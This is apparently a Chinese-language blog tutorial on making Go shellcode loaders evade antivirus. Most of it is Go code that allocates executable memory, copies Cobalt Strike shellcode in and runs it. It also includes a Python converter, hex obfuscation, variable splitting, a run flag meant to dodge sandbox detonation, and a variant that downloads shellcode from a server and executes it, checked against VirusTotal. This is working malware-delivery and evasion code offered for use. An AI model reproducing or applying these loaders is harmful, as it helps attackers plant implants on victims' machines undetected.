【网络安全】GO静态免杀初探

869 阅读3分钟

信息安全 的图像结果

Go加载器

网上找的Go加载器,最简单的免杀就是将shellcode加密解密,或者远程加载shellcode。

package main

import (
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40 
)

var (
    kernel32      = syscall . MustLoadDLL ( "kernel32.dll" )
    ntdll         = syscall . MustLoadDLL ( "ntdll.dll" )
    VirtualAlloc  = kernel32 . MustFindProc ( "VirtualAlloc" )
    RtlCopyMemory = ntdll . MustFindProc ( "RtlCopyMemory" )
)

func main () {

    xor_shellcode : = [] byte { 0xfc , 0x48 , 0x83 , ... }

    addr , _ , err : = VirtualAlloc . Call ( 0 , uintptr ( len ( xor_shellcode )), MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE )
    if err != nil && err . Error () != "The operation completed successfully." {
        syscall . Exit ( 0 )
    }
    _ , _ , err = RtlCopyMemory . Call ( addr , ( uintptr )( unsafe . Pointer ( & xor_shellcode [ 0 ])), uintptr ( len ( xor_shellcode )))
    if err != nil && err . Error () != "The operation completed successfully." {
        syscall . Exit ( 0 )
    }
    syscall . Syscall ( addr , 0 , 0 , 0 , 0 )

} 

shellcode加密解密

简单的加密解密,可以把byte[]类型的shellcode->16进制字符串,Go代码如下。

package main

import (
    "bytes"
    "encoding/hex"
    "fmt"
)

func main () {
    // 将 [] byte ->  string ( 16进制 )
    shellcode : = [] byte { 0xfc , 0x48 , 0x83 , ... }
    s : = hex . EncodeToString ( shellcode )
    fmt . Println ( s )

    /// 将string ( 16进制 )  ->   [] byte
    decode , _ : = hex . DecodeString ( s )
    shellcode2 : = decode
    fmt . Println ( shellcode2 )

    // 比较 [] byte类型的 shellcode shellcode2是否相等
    fmt . Println ( bytes . Compare ( shellcode2 , shellcode ))

} 

cs生成.c格式文件。

用如下python脚本,可以直接转化string(16进制)

import re

str = ""
with open ( "payload.c" , "r" ) as f :
    while True :
        line = f . readline ()
        if not line :
            break
        line = line . strip ( '\n' )
        str += line
list1 = re . compile ( r'"(.*)"' ) . findall ( str )
str2 = '' . join ( list1 ) . replace ( "\x" , "" )
print ( str2 ) 

然后替换到加载器上。

package main

import (
    "encoding/hex"
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40 
)

var (
    kernel32      = syscall . MustLoadDLL ( "kernel32.dll" )
    ntdll         = syscall . MustLoadDLL ( "ntdll.dll" )
    VirtualAlloc  = kernel32 . MustFindProc ( "VirtualAlloc" )
    RtlCopyMemory = ntdll . MustFindProc ( "RtlCopyMemory" )
    code = "fc4883e4f0e8c..." // 16进制字符串代码
)

func main () {

    decode , _ : = hex . DecodeString ( code )
    xor_shellcode : = decode

    addr , _ , err : = VirtualAlloc . Call ( 0 , uintptr ( len ( xor_shellcode )), MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE )
    if err != nil && err . Error () != "The operation completed successfully." {
        syscall . Exit ( 0 )
    }
    _ , _ , err = RtlCopyMemory . Call ( addr , ( uintptr )( unsafe . Pointer ( & xor_shellcode [ 0 ])), uintptr ( len ( xor_shellcode )))
    if err != nil && err . Error () != "The operation completed successfully." {
        syscall . Exit ( 0 )
    }
    syscall . Syscall ( addr , 0 , 0 , 0 , 0 )

} 

这样子还是不行的,可以把shellcode变量拆分成几个变量再拼接,再加上参数执行,避免上传到杀软时直接执行,cs上线一堆...

package main

import (
    "encoding/hex"
    "syscall"
    "unsafe"
    "flag"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40 
)

var (
    kernel32      = syscall . MustLoadDLL ( "kernel32.dll" )
    ntdll         = syscall . MustLoadDLL ( "ntdll.dll" )
    VirtualAlloc  = kernel32 . MustFindProc ( "VirtualAlloc" )
    RtlCopyMemory = ntdll . MustFindProc ( "RtlCopyMemory" )
    code = "fc4883e4f0e8c8000000415141505"
    code2 = "251564831d265488b5260488b5218488b5220488b725"

)

func main () {
    code3 : = "0480fb74a4a4d31c94831c0ac3c617c022c2..."

    decode , _ : = hex . DecodeString ( code + code2 + code3 )
    xor_shellcode : = decode

    addr , _ , _ : = VirtualAlloc . Call ( 0 , uintptr ( len ( xor_shellcode )), MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE )



    // demo . exe -c run
    var c string
    args : = flag . String ( "c" , "宝宝巴士" , "执行" )
    flag . Parse ()
    c = * args

    if c == "run" {
        _ , _ , _ = RtlCopyMemory . Call ( addr , ( uintptr )( unsafe . Pointer ( & xor_shellcode [ 0 ])), uintptr ( len ( xor_shellcode )))
        syscall . Syscall ( addr , 0 , 0 , 0 , 0 )
    }


} 

我这里使用的go build编译大小近2m,vt杀毒。

执行demo.exe -c run, cs上线

远程加载shellcode

使用resty库,一个远程读取txt文本例子。

package main

import (

    "fmt"
    "github.com/go-resty/resty/v2"

)

func main ()  {
    client : = resty . New () 
    resp , _ : = client . R () . EnableTrace () . Get ( "http://127.0.0.1/1.txt" )
    str : = resp . Body ()
    body : = string ( str )
    fmt . Println ( body )
} 

go build 编译后大小近7m。

使用go的net/http包,一个远程读取txt文本例子。

package main

import (
    "fmt"
    "io/ioutil"
    "net/http"
)


func main () {
    url : = "http://127.0.0.1/1.txt"
    resp , err : = http . Get ( url )
    if err != nil {
        fmt . Println ( err )
    }
    defer resp . Body . Close ()

    respData , err : = ioutil . ReadAll ( resp . Body )
    if err != nil {
        fmt . Println ( err )
    }

    respString : = string ( respData )

    fmt . Println ( respString )


} 

go build 编译后大小近6m。

思路将16进制字符串的shellcode上传到服务器1.txt,加载器内使用net/http包远程加载shellcode。

package main

import (
    "encoding/hex"
    "flag"
    "syscall"
    "unsafe"
    "io/ioutil"
    "net/http"

)

var (
    kernel32      = syscall . MustLoadDLL ( "kernel32.dll" )
    ntdll         = syscall . MustLoadDLL ( "ntdll.dll" )
    VirtualAlloc  = kernel32 . MustFindProc ( "VirtualAlloc" )
    RtlCopyMemory = ntdll . MustFindProc ( "RtlCopyMemory" )
    url = "http://127.0.0.1/1.txt"
)

func main () {


    resp , _ : = http . Get ( url )

    defer resp . Body . Close ()

    respData , _ : = ioutil . ReadAll ( resp . Body )

    respString : = string ( respData )

    decode , _ : = hex . DecodeString ( respString )
    shellcode2 : = decode

    addr , _ , _ : = VirtualAlloc . Call ( 0 , uintptr ( len ( shellcode2 )), 0x1000 | 0x2000 , 0x40 )
    _ , _ , _ = RtlCopyMemory . Call ( addr , ( uintptr )( unsafe . Pointer ( & shellcode2 [ 0 ])), uintptr ( len ( shellcode2 )))

    // load . exe -c run
    var c string
    args : = flag . String ( "c" , "have" , "fun" )
    flag . Parse ()
    c = * args

    if c == "run" {
        syscall . Syscall ( addr , 0 , 0 , 0 , 0 )
    }

} 

go build编译后,vt杀毒测试

总结

加密方便有待加强,使用Base64、凯撒密码等,伪动态加密shellcode,远程下载可以把文件分到几个文本上读取,也可也一半编码在加载器一半远程读取,最好的还是自己写加载器,不过需要二进制基础。

表情包图片 的图像结果

关注私我,获取【网络安全学习攻略